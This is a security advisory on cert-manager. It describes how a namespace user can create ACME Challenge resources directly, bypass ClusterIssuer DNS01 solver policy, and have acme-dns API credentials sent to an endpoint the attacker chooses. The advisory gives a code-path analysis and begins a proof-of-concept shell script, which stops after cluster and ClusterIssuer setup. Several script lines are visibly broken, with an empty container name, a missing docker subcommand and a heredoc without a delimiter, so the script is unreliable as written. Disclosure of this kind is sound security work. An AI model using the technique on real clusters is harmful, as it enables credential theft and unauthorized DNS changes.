cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials

Summary

Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.

When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.

In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.

Attack preconditions

• The attacker can create challenges.acme.cert-manager.io resources in at least one namespace.
• The cert-manager controller is running and reconciles ACME Challenge resources cluster-wide.
• A usable ClusterIssuer exists in the cluster.
• The referenced ClusterIssuer has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for ClusterIssuer.
• The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.

Severity

Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.

Why this is not just RBAC misconfiguration

cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.

The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.

Affected components

• ACME Challenge admission validation
• ACME Challenge controller
• DNS01 solver selection and DNS provider construction
• Default aggregate RBAC for challenges.acme.cert-manager.io

Affected versions tested

The issue was reproduced on:

• master commit 2c0f1a6a4
• latest production release v1.20.2 commit e5b7b1845
• v1.19.5 commit cda7b7896
• v1.18.6 commit 4699caabb

See VERSION_TEST_MATRIX.md for the command matrix and outputs.

Technical details

Relevant code paths:

• internal/apis/acme/validation/challenge.go:44-45: ValidateChallenge returns no errors on create.
• deploy/crds/acme.cert-manager.io_challenges.yaml: spec.solver is a required user-controlled field on Challenge.
• pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.
• pkg/controller/acmechallenges/controller.go:180-197: scheduler sets status.processing=true.
• pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.
• pkg/issuer/acme/dns/dns.go:81: DNS solver Present ignores the issuer object argument.
• pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived from Challenge.spec.
• pkg/controller/helper.go:39-44: ClusterIssuer references use the cluster resource namespace.

The normal Order flow selects a solver from the Issuer:

• pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.
• pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.
• pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.

The direct Challenge flow skips that selection entirely because the direct object already contains a solver.

Proof of concept

PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge

The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.

The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.

A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.

Run from the cert-manager repository root:

set -euo pipefail

name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null

cleanup() {
  docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT

for i in $(seq 1 90); do
  docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
  sleep 2
done

docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null

docker exec "" kubectl -n cert-manager create secret generic cluster-acmedns-account \
  --from-literal=accounts.json= >/dev/null

docker  -i  kubectl apply -f - >/dev/null <<
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
  name: cluster-prod
spec:
  acme:
    email: [email protected]
    server: https://acme-staging-v02.api.letsencrypt.org/directory
    privateKeySecretRef:
      name: cluster-prod-account-key
    solvers:
    - selector:
        dnsZones:
        - victim.example.com
      dns01:
        acmeDNS:
          host: https://legit-acmedns.example